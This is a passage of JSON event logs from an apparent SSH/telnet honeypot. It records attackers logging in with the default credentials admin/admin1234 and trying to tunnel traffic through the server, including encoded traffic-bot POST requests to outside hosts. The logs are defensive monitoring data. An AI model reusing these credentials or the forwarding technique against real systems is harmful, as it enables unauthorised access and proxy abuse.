\\xf8\\xb99G\\x88r\\xb2\\xe6R2\\xff\\xcc\\xdevI\\xac\\xc9e\\x1e\\xcbK\\xae\\xba\\xbe \\x01\\xeb6F\\xa3\\xa49\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03q\\x14Z\\xceY\\x08|\\xd9\\xb2\\x16\\xc4Q\\xe2\\xa9Z\\xa6\\xa0\\x98\\xe3C\\x95\\xef\\xab#;\\x90\\xd9\\x02\\x0b\\xd7\\t{ =~=9_D\\x90\\x96\\xe7q\\\\7q\\x901\\x90\\xb8\\xa0\\xe6\\xa1\\xe3\\x86\\x8a\\xf0\\x02\\x04\\x04\\xb2\\xb6\\x0b\\xdb\\x14\\x00\"\\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf8\\xb99G\\x88r\\xb2\\xe6R2\\xff\\xcc\\xdevI\\xac\\xc9e\\x1e\\xcbK\\xae\\xba\\xbe \\x01\\xeb6F\\xa3\\xa49\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:33.753507Z","src_ip":"123.27.168.40","session":"0d9c0bb5e8c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:34.170768Z","src_ip":"123.27.168.40","session":"0d9c0bb5e8c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":53590,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec062cda51d6","protocol":"telnet","message":"New connection: 94.23.66.112:53590 (10.17.0.5:23) [session: ec062cda51d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:36.271391Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.148.145.132","src_port":64551,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e2fbf91544a","protocol":"ssh","message":"New connection: 23.148.145.132:64551 (10.17.0.5:22) [session: 7e2fbf91544a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:40.263094Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:40.268514Z","src_ip":"23.148.145.132","session":"7e2fbf91544a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:40.337256Z","src_ip":"23.148.145.132","session":"7e2fbf91544a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:41.710578Z","src_ip":"23.148.145.132","session":"7e2fbf91544a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.25583362579346,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:47.836372Z","src_ip":"128.199.8.54","session":"dd746d58c00f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":53960,"dst_ip":"10.17.0.5","dst_port":22,"session":"0488d1163398","protocol":"ssh","message":"New connection: 113.164.152.20:53960 (10.17.0.5:22) [session: 0488d1163398]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:48.836326Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:48.841386Z","src_ip":"113.164.152.20","session":"0488d1163398","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.148.145.132","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:48.976756Z","session":"7e2fbf91544a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:49.007567Z","src_ip":"23.148.145.132","session":"7e2fbf91544a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1202\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 6.0.1; Groberwert HD7 Build/MOB30R) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=PzJQRzE5OCEzbD48X19iQw%3D%3DD1Sr%2FTgpPgQcGwmm%2FIynH58yeom5a%2B9ksDan%2FroQFyGVCv5htcRWsDNPZhdbwIY56OHGxXd%2FL1hTWsnj0mnQJGLlcIXYXk3OaQ3rIx9wzgI8IjA4vbBo%2FxVf0XvZ7XcRFOjEtZb%2Fr72OiuJrK1kEx5LQrH9pC3nngZcugvA%2B8WL%2BDO04OqbJ%2FADELpd%2FNkoe%2F40k5HMPoH%2FeOQEbYF6kSIsq8JT3Y2X081liP0%2B4PF4Y%2FfdluzXY0H3wJt4vkJMn0EDixTShLEUEsKpYTdSHXgrjn%2FBJg%2Fl4ZXnJXRJaaew6ZZCjeWB5TAIprR%2BRQDIkfmz4owIq9rfRLWh0XlPz7GEck20jMgZygxfiDn5DZokFFZ8AGhYLdUWgUpPLdZLYkR9ZLapT%2Fd8WY8lRz9lnRj5%2FPrWXOrk3O3Cy3rPPAgSuGFKKaSAQ9ev02DXRrHO39HwxIfbrlkinGyj5AJ1fIBHm1WfxBTyGD8Ne2v89%2B6RlZd3LT6Yp845JmPzOAmJPXnnR0qkIIRps2CTVtCdx551RJ3Qd4GS2m0imgdzYbNRI9uvgdiX6JOO41dUXy6ZqOhom4T6MzdS2%2Ff01b4oUm382rleFnvom6T2ZqFHRTOxQCFXsmq%2B89MhrvFTq2%2FyUgqmMiVz2pGHItQMwrEfJ6dypuBSD%2Fh9Rb0kcvJyhjYg1mz%2BmojEc2x1bQGtvuh%2Fyk4GkIty%2BeqmTz01pafQ20%2BvLeAl%2BRvhblka3eqKyxc8pgMcXx1xcwvOw3fgEDn%2BGAjjOCsTg0KedqqgYc2TAnYEP53%2FuN22QHb7hqQHa8DwPjFEUkfYg%2BtgevdqorND0kp%2B1dAGZoukCSTaLqkSc7byzJEn%2FlU%2BCbfD6Ju%2BiKevYPdy3r72yoVz4U2syYddJKl9D2zY4FssfPVolwzDrz1q1B1jQ7s9jIfQxUdm1RsE%2BbLrMnmk6mpHXG%2BLn5CiL8wbsLwgc88ALtA5oIG7xLw1ByDALTwd8CT2G6DH3175LnHWrSVTIkglGvFll8fjB0Hwp%2FhUzq8p4Za4LQEC9eVWY7rd%2FV9zwcV%2Fa9y6wuT4Vj9w5QaJlh6WRn9XPnvXk'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1202\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 6.0.1; Groberwert HD7 Build/MOB30R) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=PzJQRzE5OCEzbD48X19iQw%3D%3DD1Sr%2FTgpPgQcGwmm%2FIynH58yeom5a%2B9ksDan%2FroQFyGVCv5htcRWsDNPZhdbwIY56OHGxXd%2FL1hTWsnj0mnQJGLlcIXYXk3OaQ3rIx9wzgI8IjA4vbBo%2FxVf0XvZ7XcRFOjEtZb%2Fr72OiuJrK1kEx5LQrH9pC3nngZcugvA%2B8WL%2BDO04OqbJ%2FADELpd%2FNkoe%2F40k5HMPoH%2FeOQEbYF6kSIsq8JT3Y2X081liP0%2B4PF4Y%2FfdluzXY0H3wJt4vkJMn0EDixTShLEUEsKpYTdSHXgrjn%2FBJg%2Fl4ZXnJXRJaaew6ZZCjeWB5TAIprR%2BRQDIkfmz4owIq9rfRLWh0XlPz7GEck20jMgZygxfiDn5DZokFFZ8AGhYLdUWgUpPLdZLYkR9ZLapT%2Fd8WY8lRz9lnRj5%2FPrWXOrk3O3Cy3rPPAgSuGFKKaSAQ9ev02DXRrHO39HwxIfbrlkinGyj5AJ1fIBHm1WfxBTyGD8Ne2v89%2B6RlZd3LT6Yp845JmPzOAmJPXnnR0qkIIRps2CTVtCdx551RJ3Qd4GS2m0imgdzYbNRI9uvgdiX6JOO41dUXy6ZqOhom4T6MzdS2%2Ff01b4oUm382rleFnvom6T2ZqFHRTOxQCFXsmq%2B89MhrvFTq2%2FyUgqmMiVz2pGHItQMwrEfJ6dypuBSD%2Fh9Rb0kcvJyhjYg1mz%2BmojEc2x1bQGtvuh%2Fyk4GkIty%2BeqmTz01pafQ20%2BvLeAl%2BRvhblka3eqKyxc8pgMcXx1xcwvOw3fgEDn%2BGAjjOCsTg0KedqqgYc2TAnYEP53%2FuN22QHb7hqQHa8DwPjFEUkfYg%2BtgevdqorND0kp%2B1dAGZoukCSTaLqkSc7byzJEn%2FlU%2BCbfD6Ju%2BiKevYPdy3r72yoVz4U2syYddJKl9D2zY4FssfPVolwzDrz1q1B1jQ7s9jIfQxUdm1RsE%2BbLrMnmk6mpHXG%2BLn5CiL8wbsLwgc88ALtA5oIG7xLw1ByDALTwd8CT2G6DH3175LnHWrSVTIkglGvFll8fjB0Hwp%2FhUzq8p4Za4LQEC9eVWY7rd%2FV9zwcV%2Fa9y6wuT4Vj9w5QaJlh6WRn9XPnvXk'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:49.010879Z","src_ip":"23.148.145.132","session":"7e2fbf91544a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:49.113561Z","src_ip":"113.164.152.20","session":"0488d1163398","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"63.141.242.2","src_port":56226,"dst_ip":"10.17.0.5","dst_port":22,"session":"34b2114e0f23","protocol":"ssh","message":"New connection: 63.141.242.2:56226 (10.17.0.5:22) [session: 34b2114e0f23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:49.328650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:49.333464Z","src_ip":"63.141.242.2","session":"34b2114e0f23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:49.397227Z","src_ip":"63.141.242.2","session":"34b2114e0f23","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:50.252296Z","src_ip":"113.164.152.20","session":"0488d1163398","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:50.549622Z","src_ip":"63.141.242.2","session":"34b2114e0f23","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:50.637043Z","session":"0488d1163398","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:50.893090Z","session":"0488d1163398","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:50.904007Z","src_ip":"113.164.152.20","session":"0488d1163398","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.2 Mobile/16E227 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1176\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=QUFnRmpzUG1MdH43MSQhdQ%3D%3Da47jmSPqVv1Vu9yCbAkRpA6oNMm5y8dUZasiOSs20i0HI7uMUgM0gtN5Faj1hbyZAr0L0O1YqAo8YwUZSqcuN6NWLv09O2c89Sl86DtWAkkB9AHTkI0VbX6anBaa63Xb%2BWqe3MOw3GfK2u76liuLyHCQkFTGanpfMPZD7bDCgfn1wsFWDmQHlU5iCFM91mjc0F7DUMc5gIhlPxGtQ1PRU%2B4B7AlX4XXWevgec4kz6fYgvqoRBIoomrefoa1x%2FseAduEoDad9Py%2B3uBScEt5vqNeMIw3KqKhUDomqA8qOSYlUTz5%2FU4KXydzL8dlUqz%2BdoDN4ddSSGTbdisAewghMmTyDKMHeoeQhUrL%2F0v4QbIEP6ldkDE2qpiydeSKWsvGEyrLnZIyGfwOK4SzRLfNLe8D5kupzQllMsm%2BXFidV5yq01oqHKFiLA%2FL5QzliANPJK0Pf6pyu3Iv90lL4t0KHKbQBLYzN6ZNaedNGwTB0h4gK6KP1rrXlBk5JXPPnPwpaRwP1lyh94W3oxZa0e4C8tFfIXJmv%2F4J7tYJImMhbCDtgNbs1E4DLFJbbSQYXe9Q7sJ75ZGlOB06n65EpQqwC8BgAbws08wwJtJ5SWz0IhyZ2bpa9EgqHhTOU%2B7%2BvTik%2BWrEC4Hlyi9xdOSf4DdPXovk0EAktnnOF%2BsdAHBFSCLiZP9RMg6Yn%2BPX2T0LV4yogfh7ujJMzYIjSLVKDYRPVGjuyrJFq9qSShXmnRT15kDb%2BJklRPgpOQ9d1vKFd3wuTsUpeuapOGxMlsbVPVFEGHgKYTVIyzPnu9giCB5MbEsrndSHyUknJnKmsCwqwBBdijDFVMK%2B2iNZr03UTZy5oHj9JagdldQWgEWEQUhwfJF9DEHzfVVlRZe2G1f1akjGfj2j8NsW%2Bl0w3%2BMnwPu8%2FVdDkUqP%2F71ExusUZgDAKcM%2BEF0zrgr6IPb1YvWkkYHL3RWCvcr0jIxQW4OYAEFCXNLf%2FU%2Frp85EszwzbiJk3r3FHTbvTHLFXxoO%2FRFYrsI7MeHIXwIqDU%2FFL%2FwKG9cGADj2EKpwFaErk4OWQg%2BqJYmhut%2BxyWXKsV0UePy6tvAaE'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.2 Mobile/16E227 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1176\\r\\nPragma: no-cache\\r\\nCache-Control: 